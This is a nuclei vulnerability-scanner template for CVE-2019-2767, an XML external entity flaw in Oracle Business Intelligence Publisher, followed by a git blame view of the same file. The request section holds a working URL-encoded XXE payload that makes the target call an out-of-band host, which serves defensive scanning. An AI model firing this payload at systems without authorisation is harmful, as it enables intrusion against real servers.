nuclei-templates/cves/2019/CVE-2019-2767.yaml

id: CVE-2019-2767

info:
  name: Oracle Business Intelligence Publisher - XML External Entity Injection
  author: madrobot
  severity: high
  description: Oracle Business Intelligence Publisher is vulnerable to an XML external entity injection attack. The supported versions affected are 11.1.1.9.0, 12.2.1.3.0 and 12.2.1.4.0. This easily exploitable vulnerability allows unauthenticated attackers with network access via HTTP to compromise BI Publisher.
  reference:
    - https://www.exploit-db.com/exploits/46729
    - http://www.oracle.com/technetwork/security-advisory/cpujul2019-5072835.html
    - https://nvd.nist.gov/vuln/detail/CVE-2019-2767
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
    cvss-score: 7.2
    cve-id: CVE-2019-2767
  tags: cve,cve2019,oracle,xxe,oast

requests:
  - raw:
      - |
        GET /xmlpserver/convert?xml=<%3fxml+version%3d"1.0"+%3f><!DOCTYPE+r+[<!ELEMENT+r+ANY+><!ENTITY+%25+sp+SYSTEM+"http%3a//{{interactsh-url}}/xxe.xml">%25sp%3b%25param1%3b]>&_xf=Excel&_xl=123&template=123 HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        part: interactsh_protocol  # Confirms the HTTP Interaction
        words:
          - "http"

# Enhanced by mp on 2022/07/08
Create CVE-2019-2767.yaml 2021-06-08 16:19:35 +00:00			`id: CVE-2019-2767`

			`info:`
Dashboard Content Enhancements (#4819) Dashboard Content Enhancements 2022-07-26 13:45:11 +00:00			`name: Oracle Business Intelligence Publisher - XML External Entity Injection`
Create CVE-2019-2767.yaml 2021-06-08 16:19:35 +00:00			`author: madrobot`
			`severity: high`
Dashboard Content Enhancements (#4819) Dashboard Content Enhancements 2022-07-26 13:45:11 +00:00			`description: Oracle Business Intelligence Publisher is vulnerable to an XML external entity injection attack. The supported versions affected are 11.1.1.9.0, 12.2.1.3.0 and 12.2.1.4.0. This easily exploitable vulnerability allows unauthenticated attackers with network access via HTTP to compromise BI Publisher.`
Removed pipe (\|) character from references, because the structure requires it to be a string slice, not a string Related nuclei tickets: * #259 - dynamic key-value field support for template information * #940 - new infos in template * #834 * RES-84 2021-08-18 11:37:49 +00:00			`reference:`
Satisfying the linter (all errors and warnings) * whitespace modifications only 2021-08-19 14:44:46 +00:00			`- https://www.exploit-db.com/exploits/46729`
additional reference to cves templates (#4395) * additional reference to cves templates * Update CVE-2006-1681.yaml * Update CVE-2009-3318.yaml * Update CVE-2009-4223.yaml * Update CVE-2010-0942.yaml * Update CVE-2010-0944.yaml * Update CVE-2010-0972.yaml * Update CVE-2010-1304.yaml * Update CVE-2010-1308.yaml * Update CVE-2010-1313.yaml * Update CVE-2010-1461.yaml * Update CVE-2010-1470.yaml * Update CVE-2010-1471.yaml * Update CVE-2010-1472.yaml * Update CVE-2010-1474.yaml * removed duplicate references * misc fix Co-authored-by: Prince Chaddha <prince@projectdiscovery.io> Co-authored-by: Prince Chaddha <cyberbossprince@gmail.com> 2022-05-17 09:18:12 +00:00			`- http://www.oracle.com/technetwork/security-advisory/cpujul2019-5072835.html`
Dashboard Content Enhancements (#4819) Dashboard Content Enhancements 2022-07-26 13:45:11 +00:00			`- https://nvd.nist.gov/vuln/detail/CVE-2019-2767`
Added cve annotations + severity adjustments 2021-09-10 11:26:40 +00:00			`classification:`
			`cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N`
refactor: Description field uniformization * info field reorder * reference values refactored to list * added new lines after the id and before the protocols * removed extra new lines * split really long descriptions to multiple lines (part 1) * other minor fixes 2022-04-22 10:38:41 +00:00			`cvss-score: 7.2`
Added cve annotations + severity adjustments 2021-09-10 11:26:40 +00:00			`cve-id: CVE-2019-2767`
refactor: Description field uniformization * info field reorder * reference values refactored to list * added new lines after the id and before the protocols * removed extra new lines * split really long descriptions to multiple lines (part 1) * other minor fixes 2022-04-22 10:38:41 +00:00			`tags: cve,cve2019,oracle,xxe,oast`
Create CVE-2019-2767.yaml 2021-06-08 16:19:35 +00:00
			`requests:`
Update CVE-2019-2767.yaml 2021-06-08 16:22:58 +00:00			`- raw:`
			`- \|`
Update CVE-2019-2767.yaml 2021-06-08 16:29:59 +00:00			`GET /xmlpserver/convert?xml=<%3fxml+version%3d"1.0"+%3f><!DOCTYPE+r+[<!ELEMENT+r+ANY+><!ENTITY+%25+sp+SYSTEM+"http%3a//{{interactsh-url}}/xxe.xml">%25sp%3b%25param1%3b]>&_xf=Excel&_xl=123&template=123 HTTP/1.1`
Update CVE-2019-2767.yaml 2021-06-08 16:22:58 +00:00			`Host: {{Hostname}}`
Create CVE-2019-2767.yaml 2021-06-08 16:19:35 +00:00
			`matchers:`
			`- type: word`
Dashboard Text Enhancement (#3798) Dashboard text enhancements 2022-02-28 14:09:26 +00:00			`part: interactsh_protocol # Confirms the HTTP Interaction`
Create CVE-2019-2767.yaml 2021-06-08 16:19:35 +00:00			`words:`
More edge cases Only looking for DNS interaction is not reliable as few servers make DNS requests for host included in path or query parameter. 2021-07-03 19:11:57 +00:00			`- "http"`
Dashboard Content Enhancements (#4819) Dashboard Content Enhancements 2022-07-26 13:45:11 +00:00
			`# Enhanced by mp on 2022/07/08`